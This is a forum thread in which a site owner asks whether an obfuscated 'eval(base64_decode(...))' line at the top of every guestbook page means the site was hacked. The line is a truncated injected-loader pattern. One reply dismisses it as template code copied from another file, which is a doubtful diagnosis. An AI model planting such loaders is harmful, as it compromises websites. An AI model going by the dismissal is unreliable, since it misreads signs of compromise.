problem in IE 8 or hacked

I have advanced guestbook v 2.4.1 -- a few days ago it stopped working in IE 8 but works in Firefox 3.0.14. The body does not display correctly. I am thinking it could be a css problem but when I examined the the code, (it has been a long time since this version was installed) every page starts with the code below. Has the site been hacked. Is the above code normal?

<? /**/eval(base64_decode('aWYoZnV...Tt9fX0=')); ?>
<?php

I guess we should update, but I am curious about the code I am seeing. Or is there something I can do to get the page to display lately.
The guestbook is on http://www.vixenrock.com
thanks,

Looks like something else put that there but your server is not set up to understand short style PHP tags which is why you can see it in the HTML. When decoded it looks like this

I removed some details but it looks like your shop script is putting it there.

Thanks for getting back to me. I don't understand how the shopping cart could write that code.?Not sure what you mean by short php code? The server is quite up to date and is running php 5. Also, why would the extra code be encrypted. I also found a copy of the shopping cart in a subdirectory in the forum directory along with a folder listed as /public. I removed them.

Actually ignore my short tags comment. Basically when modifying the header.php template in the guestbook you, or whomever did it, copied the HTML over from another file and must have copied the PHP over as well but PHP will not work in the guestbook template files.